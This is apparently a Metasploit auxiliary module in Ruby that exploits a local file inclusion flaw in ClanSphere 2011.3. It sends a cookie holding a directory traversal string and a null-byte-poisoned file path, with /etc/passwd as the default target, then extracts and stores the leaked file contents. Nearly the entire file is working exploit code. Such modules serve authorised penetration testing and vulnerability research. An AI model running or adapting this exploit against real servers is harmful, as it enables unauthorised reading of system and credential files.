89 lines
2.5 KiB
Ruby
89 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ClanSphere 2011.3 Local File Inclusion Vulnerability',
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'Description' => %q{
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This module exploits a directory traversal flaw found in Clansphere 2011.3.
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The application fails to handle the cs_lang parameter properly, which can be
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used to read any file outside the virtual directory.
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},
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'References' =>
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[
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['OSVDB', '86720'],
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['EDB', '22181']
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],
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'Author' =>
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[
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'blkhtc0rp', #Original
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'sinn3r'
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],
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'License' => MSF_LICENSE,
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'DisclosureDate' => "Oct 23 2012"
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))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The URI path to the web application', '/clansphere_2011.3/']),
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OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
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OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
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], self.class)
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end
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def run_host(ip)
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base = normalize_uri(target_uri.path)
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peer = "#{ip}:#{rport}"
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print_status("Reading '#{datastore['FILE']}'")
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traverse = "../" * datastore['DEPTH']
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f = datastore['FILE']
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f = f[1, f.length] if f =~ /^\//
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(base, "index.php"),
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'cookie' => "blah=blah; cs_lang=#{traverse}#{f}%00.png"
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})
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if res and res.body =~ /^Fatal error\:/
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print_error("Unable to read '#{datastore['FILE']}', possibily because:")
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print_error("\t1. File does not exist.")
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print_error("\t2. No permission.")
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print_error("\t3. #{ip} isn't vulnerable to null byte poisoning.")
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elsif res and res.code == 200
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pattern_end = " UTC +1 - Load:"
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data = res.body.scan(/\<div id\=\"bottom\"\>\n(.+)\n\x20{5}UTC/).flatten[0].lstrip
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fname = datastore['FILE']
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p = store_loot(
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'clansphere.cms',
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'application/octet-stream',
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ip,
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data,
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fname
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)
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vprint_line(data)
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print_good("#{fname} stored as '#{p}'")
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else
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print_error("Fail to obtain file for some unknown reason")
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end
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end
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end
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